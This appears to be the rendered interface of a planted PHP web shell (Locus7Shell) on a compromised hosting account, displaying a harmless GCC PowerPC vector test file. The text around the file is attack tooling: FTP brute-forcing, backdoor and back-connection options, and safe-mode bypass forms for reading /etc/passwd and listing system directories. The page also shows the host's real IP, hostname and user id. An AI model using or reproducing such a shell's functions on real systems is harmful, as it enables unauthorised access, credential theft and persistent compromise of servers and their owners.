Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/powerpc/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vec-ternarylogic-5.c (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run { target { power10_hw } } } */
/* { dg-do link { target { ! power10_hw } } } */
/* { dg-require-effective-target power10_ok } */
/* { dg-options "-mdejagnu-cpu=power10" } */

#include <altivec.h>

extern void abort (void);

#define NumSamples 4

void
doTests00000001 (vector unsigned int a_sources [],
         vector unsigned int b_sources [],
         vector unsigned int c_sources []) {
  for (int i = 0; i < NumSamples; i++)
    for (int j = 0; j < NumSamples; j++)
      for (int k = 0; k < NumSamples; k++)
    {
      vector unsigned int a = a_sources [i];
      vector unsigned int b = b_sources [j];
      vector unsigned int c = c_sources [k];
      vector unsigned int result = vec_ternarylogic (a, b, c, 0x01);
      vector unsigned int intended = (a & b & c);
      if (!vec_all_eq (result, intended))
        abort ();
    }
}

void doTests11100101 (vector unsigned int a_sources [],
              vector unsigned int b_sources [],
              vector unsigned int c_sources []) {
  for (int i = 0; i < NumSamples; i++)
    for (int j = 0; j < NumSamples; j++)
      for (int k = 0; k < NumSamples; k++)
    {
      vector unsigned int a = a_sources [i];
      vector unsigned int b = b_sources [j];
      vector unsigned int c = c_sources [k];
      vector unsigned int result = vec_ternarylogic (a, b, c, 0xe5);
      vector unsigned int intended = { 0, 0, 0, 0 };
      // Supposed to be a ? c: nand (b,c)
      for (int l = 0; l < 4; l++)
        {
          for (int m = 0; m < 32; m++)
          {
        unsigned int bit_selector = (0x01 << m);
        if (a[l] & bit_selector)
          intended [l] |= c [l] & bit_selector;
        else if ((b [l] & c [l] & bit_selector) == 0)
          intended [l] |= bit_selector;
          }
        }
      if (!vec_all_eq (result, intended))
        abort ();
    }
}

void doTests11110011 (vector unsigned int a_sources [],
              vector unsigned int b_sources [],
              vector unsigned int c_sources []) {
  for (int i = 0; i < NumSamples; i++)
    for (int j = 0; j < NumSamples; j++)
      for (int k = 0; k < NumSamples; k++)
    {
      vector unsigned int a = a_sources [i];
      vector unsigned int b = b_sources [j];
      vector unsigned int c = c_sources [k];
      vector unsigned int result = vec_ternarylogic (a, b, c, 0xfb);
      vector unsigned int intended = { 0, 0, 0, 0 };
      for (int i = 0; i < 4; i++)
        intended [i] = b [i] | ~(a [i] & c [i]);
      if (!vec_all_eq (result, intended))
        abort ();
    }
}

int main (int argc, int *argv [])
{
  vector unsigned int a_sources [NumSamples] = {
    { 0x01234567, 0x89abcdef, 0x12345678, 0x9abcdef0 },
    { 0x55555555, 0x55555555, 0xffffffff, 0xffffffff },
    { 0xcccccccc, 0x55555555, 0x00000000, 0x00000000 },
    { 0xe7e7e7e7, 0xe7e7e7e7, 0x69696969, 0x69696969 },
  };
  vector unsigned int b_sources [NumSamples] = {
    { 0x01234567, 0x89abcdef, 0x12345678, 0x9abcdef0 },
    { 0x55555555, 0x55555555, 0xffffffff, 0xffffffff },
    { 0xcccccccc, 0x55555555, 0x00000000, 0x00000000 },
    { 0xe7e7e7e7, 0xe7e7e7e7, 0x69696969, 0x69696969 },
  };
  vector unsigned int c_sources [NumSamples] = {
    { 0x01234567, 0x89abcdef, 0x12345678, 0x9abcdef0 },
    { 0x55555555, 0x55555555, 0xffffffff, 0xffffffff },
    { 0xcccccccc, 0x55555555, 0x00000000, 0x00000000 },
    { 0xe7e7e7e7, 0xe7e7e7e7, 0x69696969, 0x69696969 },
  };

  doTests00000001 (a_sources, b_sources, c_sources);
  doTests11100101 (a_sources, b_sources, c_sources);
  doTests11110011 (a_sources, b_sources, c_sources);

  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--